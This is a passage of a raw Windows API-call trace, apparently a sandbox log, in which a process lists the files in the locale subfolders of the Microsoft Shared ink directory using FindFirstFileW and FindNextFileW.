lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.669] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.669] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.669] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.669] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.669] GetProcessHeap () returned 0x560000 [0215.669] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.669] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0215.670] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0215.670] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0215.670] GetProcessHeap () returned 0x560000 [0215.670] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.670] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.671] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.671] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.671] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.671] GetProcessHeap () returned 0x560000 [0215.671] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.671] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0215.671] GetProcessHeap () returned 0x560000 [0215.672] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.672] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.672] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.672] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.672] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.672] GetProcessHeap () returned 0x560000 [0215.673] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.673] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0215.673] GetProcessHeap () returned 0x560000 [0215.673] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.673] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.673] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.673] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.674] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.674] GetProcessHeap () returned 0x560000 [0215.674] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.674] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0215.674] GetProcessHeap () returned 0x560000 [0215.674] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.675] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.675] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.675] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.675] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0215.675] GetProcessHeap () returned 0x560000 [0215.675] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0215.675] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0215.676] GetProcessHeap () returned 0x560000 [0215.676] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0215.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0215.678] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.678] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0215.679] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0215.679] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0215.679] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0215.679] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0215.679] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0215.680] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0215.680] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0215.680] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0215.680] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0215.680] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0215.681] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0215.681] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0215.681] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0215.681] FindNextFileW (in: hFindFile=0x65bc48, 